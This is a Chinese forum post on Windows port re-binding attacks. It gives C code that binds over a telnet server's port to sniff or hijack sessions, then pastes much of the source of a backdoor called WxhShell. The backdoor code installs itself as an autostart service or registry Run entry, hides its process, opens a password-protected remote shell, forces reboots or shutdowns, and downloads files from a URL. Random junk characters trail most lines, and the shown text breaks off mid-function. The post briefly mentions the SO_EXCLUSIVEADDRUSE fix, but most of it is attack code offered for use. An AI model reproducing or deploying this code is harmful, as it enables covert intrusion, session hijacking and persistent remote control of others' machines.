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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *<jAiB ,O*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]J$eDbaEjT  
@ljA  
  saddr.sin_family = AF_INET; _ff`y  
h"_;IUZ!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yt=3sq  
:LRYYw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  SVs_dG$  
6NM:DI\%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !y:v LB#q  
RcM/!,B  
  这意味着什么?意味着可以进行如下的攻击: 2Mvrey)  
F9E<K]7K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,<tX%n`v=  
n; +LH9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hmd] FC,_  
=Og)q$AL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B43HNs  
BJsz2t :0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]#l/2V1  
+)<wDDC_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9~mh@Kgv  
:'3XAntZA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M&@b><B  
vss(twg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )Sg~[WxDv  
Nj xoTLI  
  #include ~&8^9E a  
  #include luuX2Mx>o  
  #include YY)s p%  
  #include    ,dov<U[ia  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ceM6{N<_U  
  int main() ,5kKimTt  
  { %Yicg6:  
  WORD wVersionRequested; 5eoska#y   
  DWORD ret; PMh^(j[  
  WSADATA wsaData; d + /&?3  
  BOOL val; {G}.b)9FG  
  SOCKADDR_IN saddr; 5rRN-  
  SOCKADDR_IN scaddr; !?p%xj?  
  int err; ?hM>mL  
  SOCKET s; +!z{5:  
  SOCKET sc; \h DdU+  
  int caddsize; lB4GU y$  
  HANDLE mt; 8:>1F,  
  DWORD tid;   &8>IeK {I  
  wVersionRequested = MAKEWORD( 2, 2 ); 9:,\gw>F  
  err = WSAStartup( wVersionRequested, &wsaData ); lBhLf@  
  if ( err != 0 ) { X1Ac*oLN  
  printf("error!WSAStartup failed!\n"); r>"   
  return -1; J(%0z:exs  
  } ,:`4%  
  saddr.sin_family = AF_INET; jJY"{foWV  
   _$f9]bab  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]*FVz$>XM  
vj\dA2!~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P h}|dGb  
  saddr.sin_port = htons(23); %D8ZO0J7H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7L@K _ZJ  
  { W4e5Rb4~f"  
  printf("error!socket failed!\n"); ryCI>vJz  
  return -1; 0-|byAh  
  } \B 0ywN?  
  val = TRUE; 2Sp=rI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pN9A{v(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %8Dz o  
  { Y&_&s7z  
  printf("error!setsockopt failed!\n"); NqEA4C  
  return -1; ?jt}*q>X]  
  } &A)B~"[~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %Gj8F4{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '|*?*6q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Yd=a}T  
8&~~j7p,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k^%B5  
  { wUQw!%?>  
  ret=GetLastError(); 0iK;Egwm  
  printf("error!bind failed!\n"); {h2TD P  
  return -1; +$(2:S*r  
  } K+8-9$w6  
  listen(s,2); I_%a{$Gjl  
  while(1) %4 XJn@J  
  { +|@rD/I6  
  caddsize = sizeof(scaddr); l)w Hl%p  
  //接受连接请求 ] GTAq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~L_hZso4  
  if(sc!=INVALID_SOCKET) }kK[S|XVO  
  { GbA.UM ~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ru>uL@w  
  if(mt==NULL) ]M[#.EX  
  { I}t3 p|z  
  printf("Thread Creat Failed!\n"); A"l?:?rtw]  
  break; r"a5(Q;n  
  } vZ N!Zl7S  
  } f1)x5N  
  CloseHandle(mt); V$icWu  
  } Vc%R$E%  
  closesocket(s); qc!MG_{Y  
  WSACleanup(); v-Fg +  
  return 0; ofMY,~w  
  }   U uM$~qf/K  
  DWORD WINAPI ClientThread(LPVOID lpParam) u4neXYSy  
  { a9Z%JS]  
  SOCKET ss = (SOCKET)lpParam; Ppt2A6W  
  SOCKET sc; |vMpXiMxxT  
  unsigned char buf[4096]; saAxGG  
  SOCKADDR_IN saddr; LIVU^Os.  
  long num; -0eq_+oQ  
  DWORD val; uy^   
  DWORD ret; P"?FnTbv[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7Wa?$6d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pge++Di  
  saddr.sin_family = AF_INET; ?@t  d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pD2<fP_  
  saddr.sin_port = htons(23); ,7)C"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A'K%WW*'U  
  { #nO|A\N  
  printf("error!socket failed!\n"); j.ldaLdG  
  return -1; 7GS V  
  } G #T<`>T  
  val = 100; ;v~-'*0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (N K9vW4F  
  { t"lyvI[  
  ret = GetLastError(); 9lj!C '  
  return -1; rgf#wH%hN  
  } s/e"'Hz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6PF8 /@Nh  
  { y"<))-MH  
  ret = GetLastError(); 8?O>ZZtu  
  return -1; ai^4'{#zi  
  } l Js <  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /?6|&  
  { Af5D>/  
  printf("error!socket connect failed!\n"); {[t`j+J  
  closesocket(sc); :!f(F9  
  closesocket(ss); qXW})(  
  return -1; J.+BD\pa  
  } =GBI0&U  
  while(1) z6~ H:k1G%  
  { *P!e:Tm)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3!o4)yJWx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -/dEsgO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C4#rA.nF|  
  num = recv(ss,buf,4096,0);  oM1 6C|  
  if(num>0) Ei3zBS?J)  
  send(sc,buf,num,0); ia{c  
  else if(num==0) NLe}Jqp  
  break; %=<IGce  
  num = recv(sc,buf,4096,0); (9mMkU=  
  if(num>0) MfBdNdox7  
  send(ss,buf,num,0); gbStAr.  
  else if(num==0) asgF1?r  
  break; FNQX7O52  
  } 's!-80sd  
  closesocket(ss); ExXM:1 e26  
  closesocket(sc); _uu<4c   
  return 0 ; RF!1oZ  
  } :9Y$'+ <&H  
%_aMl  
@C-dG7U.P  
========================================================== R,!Q Zxmg  
Ld,5iBiO:  
下边附上一个代码,,WXhSHELL B 2 .q3T  
5;TuVU.8Q  
========================================================== x2#qg>`l  
XfzVcap  
#include "stdafx.h" PaCzr5!~f  
jSQ9.%4  
#include <stdio.h> >(tn"2  
#include <string.h> B)h>8 {  
#include <windows.h> Uo_tUp_Q  
#include <winsock2.h> ]Lqt( c  
#include <winsvc.h> W:VP1 :  
#include <urlmon.h> 8{Fm[ %"  
t.hm9}UQ  
#pragma comment (lib, "Ws2_32.lib") Vjm_F!S  
#pragma comment (lib, "urlmon.lib") M}"r#Plq  
|__=d+M'  
#define MAX_USER   100 // 最大客户端连接数 w[Ep*-yeI  
#define BUF_SOCK   200 // sock buffer nxap\Lf  
#define KEY_BUFF   255 // 输入 buffer I5);jgb  
FkupO I  
#define REBOOT     0   // 重启 AdoZs8Q  
#define SHUTDOWN   1   // 关机 ;}.Kb  
{sv{847V  
#define DEF_PORT   5000 // 监听端口 rp :wQ H7  
F X1ZG!  
#define REG_LEN     16   // 注册表键长度 f|aDTWF  
#define SVC_LEN     80   // NT服务名长度 Y"e EkT\  
]yX@'f  
// 从dll定义API D;F{1[s(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #S+Z$DQD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L8vOBI7N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -#A:`/22  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4`2$_T$ F  
P8gX CX!>U  
// wxhshell配置信息 x@cN3O  
struct WSCFG { K,}w]b  
  int ws_port;         // 监听端口 ~%|G+m>  
  char ws_passstr[REG_LEN]; // 口令 g.#+z'l  
  int ws_autoins;       // 安装标记, 1=yes 0=no lg:y|@Y''  
  char ws_regname[REG_LEN]; // 注册表键名 fRg=!<#%  
  char ws_svcname[REG_LEN]; // 服务名 ;? uC=o>Z{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _NdLcpBT?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OalP1Gy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FX,$_:f6Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _8h8Wtif  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bn 4 &O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c 8QnN:n  
-Ubj6 t_K  
}; .1*DR]^`  
#DP7SO  
// default Wxhshell configuration R+$8w2#  
struct WSCFG wscfg={DEF_PORT, GG'Sp53GE  
    "xuhuanlingzhe", 7-9;PkGG.A  
    1, N^elVu4 K  
    "Wxhshell", ^4`&EF  
    "Wxhshell", i&@,5/'-_O  
            "WxhShell Service", ^ZQCIS-R  
    "Wrsky Windows CmdShell Service", LE c8NQs  
    "Please Input Your Password: ", DQ=N1pft2v  
  1, eZO9GMO  
  "http://www.wrsky.com/wxhshell.exe", s5Fr)q// !  
  "Wxhshell.exe" FyEDt@J  
    }; >4![&&  
>3 Ko.3&  
// 消息定义模块 n'64;J5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iM64,wnA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .:;fAJPf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `.k5v7!o  
char *msg_ws_ext="\n\rExit."; qCJ=Z  
char *msg_ws_end="\n\rQuit."; ~2N-k1'-'  
char *msg_ws_boot="\n\rReboot...";  ~B@ }R  
char *msg_ws_poff="\n\rShutdown..."; x|apQ6  
char *msg_ws_down="\n\rSave to "; |Odu4 Q  
}g,X5v?W  
char *msg_ws_err="\n\rErr!"; ;x>;jS.t  
char *msg_ws_ok="\n\rOK!"; y=o=1(  
Io+IRK  
char ExeFile[MAX_PATH]; h1%y:[_  
int nUser = 0; :2q ?>\  
HANDLE handles[MAX_USER]; V}`M<A6:  
int OsIsNt; pa] TeH  
rr>~WjZ3  
SERVICE_STATUS       serviceStatus; VA]ZR+m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s}b*5@8|tA  
[n<.fw8$b  
// 函数声明 x9*ys;~w  
int Install(void); 5~yb ~0  
int Uninstall(void); ~ iT{8  
int DownloadFile(char *sURL, SOCKET wsh); U~g@TfU;  
int Boot(int flag); U5wTGv4S|  
void HideProc(void); KS>Fl->  
int GetOsVer(void); k <}I<Or  
int Wxhshell(SOCKET wsl); fbL!=]A*3  
void TalkWithClient(void *cs); 8c?8X=|D7  
int CmdShell(SOCKET sock); wR1K8b".DC  
int StartFromService(void); & ^!v*=z  
int StartWxhshell(LPSTR lpCmdLine); wL|7mMM,  
9t\ [N/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .??rqaZ=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fsb=8>}63}  
:dbV2'vIQ  
// 数据结构和表定义 7#/|VQX<A  
SERVICE_TABLE_ENTRY DispatchTable[] = )ldUayJ  
{ *%f3rvt7@)  
{wscfg.ws_svcname, NTServiceMain}, .hnF]_QQ  
{NULL, NULL} k%a?SU<f  
}; x_pMG!2  
;op'V6iG  
// 自我安装 qSCTFJ0  
int Install(void) K/A ? ]y  
{ *kV#)j  
  char svExeFile[MAX_PATH]; v @_?iC"`  
  HKEY key; ]LY^9eK)>{  
  strcpy(svExeFile,ExeFile); YmA) @1@U  
zXDd,ltm  
// 如果是win9x系统,修改注册表设为自启动 oYGUjI  
if(!OsIsNt) { )da:&F -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)`+d=P   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t"#lnG!G  
  RegCloseKey(key); Fj48quW1\P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FRD<0o/`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >T$7{ ~  
  RegCloseKey(key); 3# :EK M~!  
  return 0; <X9T-b"$h  
    } 'NRN_c9  
  } G:){^Z?  
} w-8)YJ Y  
else { gtl;P_  
aSxG|OkKy  
// 如果是NT以上系统,安装为系统服务 @<%oIE~]F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Y=,r!F.h  
if (schSCManager!=0) z4 nou>  
{ >cSi/a,L  
  SC_HANDLE schService = CreateService L)=8mF.  
  ( %!#rrt,F  
  schSCManager, =`ywd]\7  
  wscfg.ws_svcname, F F(^:N  
  wscfg.ws_svcdisp, G0^V!0I&O  
  SERVICE_ALL_ACCESS, %j!z\pa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cKSfqqPm$"  
  SERVICE_AUTO_START, ^$ZI>L0+  
  SERVICE_ERROR_NORMAL, "&s9cO.H  
  svExeFile, Ty(yh(oYF`  
  NULL, W=!F8g|Qz  
  NULL, W=(MsuirO  
  NULL, eF*TLI<[^I  
  NULL, qL u8!|QT  
  NULL 8p3ZF@c~ t  
  ); Rqt[D @;m  
  if (schService!=0) ejDCmD  
  { Rs^jk)Z:)  
  CloseServiceHandle(schService); "o~N42DLB%  
  CloseServiceHandle(schSCManager); Pi^ECSzQu[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8dYk3 sk  
  strcat(svExeFile,wscfg.ws_svcname); 9 #.<E5:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |A2W8b {]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &P{o{  
  RegCloseKey(key); 2"B}}  
  return 0; LJ:mJ#  
    } | 3hT{  
  } $a)J CErN  
  CloseServiceHandle(schSCManager); hG< a  
} 1 NB2y[  
} n+:m _2T  
$ $W{HsX  
return 1; :H~UyrN  
} *tIdp`xT/T  
m[//_TFf]  
// 自我卸载 jcT{ugpq  
int Uninstall(void) -d\AiT  
{ {yul.m  
  HKEY key; #3AYz82w  
w+URCj  
if(!OsIsNt) { QfKR pnj(o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Yc^Nc  
  RegDeleteValue(key,wscfg.ws_regname); L5i#Kh_  
  RegCloseKey(key); u-]vK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g!~-^_F  
  RegDeleteValue(key,wscfg.ws_regname); .eZPp~[lAN  
  RegCloseKey(key); d "QM;9  
  return 0; KY;uO 8Te  
  } ,'/HcF?yf  
} g]oc(RM  
} $X{B* WF  
else { ?HEo9/ *7  
'2Mjz6mBDA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #3 }5cC8_  
if (schSCManager!=0) ({ :yw  
{ .YnP% X=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~5XL@jI^  
  if (schService!=0) 8YT_DM5iI  
  { . x\/XlM  
  if(DeleteService(schService)!=0) { 2^k^"<h5j  
  CloseServiceHandle(schService); Dohl,d  
  CloseServiceHandle(schSCManager); uyS^W'fF  
  return 0; {7j6$.7J$&  
  } 3N)Ycf8  
  CloseServiceHandle(schService); /*mFP.en  
  } ~_/<PIm  
  CloseServiceHandle(schSCManager); \Nh^Ig   
} D]LFX/hlH  
} o|Yn(xu-  
fF9;lWt  
return 1; &-=G9sb,  
} DkF@XK0c3  
Wme1Uid  
// 从指定url下载文件 *_<SWTE  
int DownloadFile(char *sURL, SOCKET wsh) TV$\v@\ =  
{ }+QhW]nO{F  
  HRESULT hr; 6qmo ZAg  
char seps[]= "/"; E#&c]9QM75  
char *token; 4F1.D9u  
char *file; r P<d[u  
char myURL[MAX_PATH]; 3thG*^C5  
char myFILE[MAX_PATH]; P^uP$D  
LRqw\fKk[  
strcpy(myURL,sURL); 6@,'m  
  token=strtok(myURL,seps); Q T0IW(A  
  while(token!=NULL) 6cgpg+-a  
  { )\:lYI}Wpm  
    file=token; 2s]]!{Z#  
  token=strtok(NULL,seps); f0HV*%8  
  } 3f7t%  
}tl8(kjm  
GetCurrentDirectory(MAX_PATH,myFILE); K2cpf  
strcat(myFILE, "\\"); |P[D2R}  
strcat(myFILE, file); {YxSH %  
  send(wsh,myFILE,strlen(myFILE),0); ,_TH@0{   
send(wsh,"...",3,0); s$+: F$Y0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NL>[8#  
  if(hr==S_OK) lN= m$J  
return 0; US*<I2ZLh  
else GFy0R"&d[  
return 1; T[8"u<O96  
\V!X& a  
} qKI4p3&E  
Fc{6*wtO  
// 系统电源模块 [/#k$-  
int Boot(int flag) {TcbCjyw  
{ 4BUK5)B  
  HANDLE hToken; iJynR [7  
  TOKEN_PRIVILEGES tkp; ,& pF:ql F  
I,`D&   
  if(OsIsNt) { h9)]N&07b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1_dMe%53  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BW(DaNt^  
    tkp.PrivilegeCount = 1; :n%sU* 'T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "*H'bzK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a_}BTkfHa  
if(flag==REBOOT) { T/spUlWu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9DP75 ti  
  return 0; wYS KtG~/S  
} "YdDaj</  
else { |WwFE|<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j8ohzX[Y  
  return 0; "< hx  
} KWuj_.;  
  } l7r N  
  else { ]@j"0F/`  
if(flag==REBOOT) { =[tls^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QWQ6j#`  
  return 0; X0r#,u  
} lLwQridFXh  
else { \`iW__  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r+W 8m?oi  
  return 0; 9rvxp;  
} KohQ6q  
} J9KLO=  
bZ@53  
return 1; Xy(SzJ %  
} D*2p  
$d"f/bRWy  
// win9x进程隐藏模块 s R0e&Y  
void HideProc(void) qKb- aP-  
{ !kk %;XSZ  
gm%bxr@X~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y_ ;i  
  if ( hKernel != NULL ) x#}eC'Q  
  { 1 0Tg > H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gv2./<{#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PTc\I  
    FreeLibrary(hKernel); =g>7|?6>=  
  } D 5wR?O  
JV6U0$g_S  
return; r :MaAT<  
} @xM!:  
x) qHeS  
// 获取操作系统版本 \5pAG mgD  
int GetOsVer(void) iJj?~\zp  
{ i(cb&;Xx:A  
  OSVERSIONINFO winfo; ;g)Fhdy!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =A&*SE o5  
  GetVersionEx(&winfo); 5]n<%bP\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !Pjg&19  
  return 1; -D^y)  
  else CCvBE, u x  
  return 0; ~b<4>"7y.  
} X]^E:'E!  
:8!3*C-=  
// 客户端句柄模块 E1 gTrMo  
int Wxhshell(SOCKET wsl) {3p7`h~  
{ aKFA&Xnsl  
  SOCKET wsh; )LMuxj  
  struct sockaddr_in client; 7(+ZfY~w"  
  DWORD myID; t=\[J+  
b)`#^uxxJ  
  while(nUser<MAX_USER) 8&[<pbN)  
{ R{y{  
  int nSize=sizeof(client); ^3@a0J=F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O0*L9C/Q  
  if(wsh==INVALID_SOCKET) return 1; pj-HLuZR  
e8uIh[+ 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'pls]I]  
if(handles[nUser]==0) 2bG4 ,M  
  closesocket(wsh); TdOWdPvYj  
else $=QO_t)?  
  nUser++; F^bQ-  
  } xgw)`>p,W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bst>9V&R  
&"6ktKrIg  
  return 0; )KhVUFS1  
} K1{nxw!`  
' oeg [  
// 关闭 socket {gHscj;SM  
void CloseIt(SOCKET wsh) z ex.0OT;  
{ SIVLYi  
closesocket(wsh); X ^ ]$/rI)  
nUser--; <hC3#dNRd  
ExitThread(0); 8PVs!?Nne  
} _eeX]xSSl  
 v2=!*  
// 客户端请求句柄 [?6D1b[  
void TalkWithClient(void *cs) yzzre>F  
{ +dpj?  
^dKaa  
  SOCKET wsh=(SOCKET)cs; 6e-h;ylS  
  char pwd[SVC_LEN]; '# 2J?f'  
  char cmd[KEY_BUFF]; i1\ /\^  
char chr[1]; bc}OmPE  
int i,j; SJ_cwYwI$  
naCI55Wx  
  while (nUser < MAX_USER) { !w\;Q8irN  
72.IhBNtT  
if(wscfg.ws_passstr) { DH*|>m&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ew ,edU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mqc Z3lsv  
  //ZeroMemory(pwd,KEY_BUFF); >w;W& [  
      i=0; Sq]1SW3  
  while(i<SVC_LEN) { :=7;P)  
Ywq+l]5/p  
  // 设置超时 bjX$idL  
  fd_set FdRead; YHtI%  
  struct timeval TimeOut; 4J|t}  
  FD_ZERO(&FdRead); KKJ[  
  FD_SET(wsh,&FdRead); w[[@&T\`  
  TimeOut.tv_sec=8; fx"+ZR  
  TimeOut.tv_usec=0; #IA(*oM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qinQ5t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r>@/XYK&\  
O*CX@Ne  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uKzz/Y{  
  pwd=chr[0]; 717m.t,x  
  if(chr[0]==0xd || chr[0]==0xa) { T0)y5  
  pwd=0; ? NK} q\$  
  break; fT~<C {  
  } R@aT=\u+  
  i++; 9+|,aG s  
    } yC$7XSr=  
-T6%3>h  
  // 如果是非法用户,关闭 socket >{=RQgGy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =W^L8!BE'  
} Z6ex<[`I  
?kefRev<#h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R6.#gb8^oS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +34jot.!  
3!UP>,!  
while(1) { 3`q`W9  
oob0^}^  
  ZeroMemory(cmd,KEY_BUFF); aJ@qB9(ZBe  
]}c=U@D,9  
      // 自动支持客户端 telnet标准   . M $D  
  j=0; a{.n(M  
  while(j<KEY_BUFF) { ?bA]U:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9}_f\Bs  
  cmd[j]=chr[0]; DYl{{L8@  
  if(chr[0]==0xa || chr[0]==0xd) { `t2! M\)  
  cmd[j]=0; jd'R2e  
  break; He23<hd!  
  } Y)RikF >  
  j++; h"S/D[  
    } .H.v c_/  
^: j:;\;  
  // 下载文件 py4_hj\v  
  if(strstr(cmd,"http://")) { &N nMz9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hY9u#3  
  if(DownloadFile(cmd,wsh)) )ISTb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2 <$L  
  else 4(ZV\}j1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >GRuS\B  
  } %c{)'X  
  else { 5E|2 S_)G  
Z:Am\7 I  
    switch(cmd[0]) { KgS xF#  
  !!>G{  
  // 帮助 :]jtV~E\  
  case '?': { g"f^YEQ_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o`0H(\en  
    break; =Ji:nEl]z  
  } $^>vJk<  
  // 安装 /HD2F_XA  
  case 'i': { -lEh}r  
    if(Install()) ~5529  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ey%NqOs0#  
    else @]4s&;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J n/=v\K@  
    break; y9<Fv|Ric  
    } rJwJ5U  
  // 卸载 [X]o`  
  case 'r': { t]XJ q  
    if(Uninstall()) $Yc9><i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f]pK&MAmN  
    else WLb7]rCTp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @I:&ozy }=  
    break; N"y4#W(Z@  
    } `-m7CT sA  
  // 显示 wxhshell 所在路径 2Mp;/b!  
  case 'p': { fOAb?:D  
    char svExeFile[MAX_PATH]; |7'W)s5.  
    strcpy(svExeFile,"\n\r"); GK+w1%6)  
      strcat(svExeFile,ExeFile);  `SrVMb(  
        send(wsh,svExeFile,strlen(svExeFile),0); H;ib3?  
    break; G= e[TR)i  
    } :8 :>CHa  
  // 重启 Nx'j+>bz>y  
  case 'b': { Cv33?l-8%_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *^()el,d  
    if(Boot(REBOOT)) "?-s Qn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eH6cBX#P.  
    else { i9tM]/SP  
    closesocket(wsh); L zC~>Uj  
    ExitThread(0); O*7 pg  
    } f0+  
    break; *fZ'#C~x  
    } g.Q ?Z{  
  // 关机 |1R @Jz`  
  case 'd': { > { Q2S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6yqp<D0SP)  
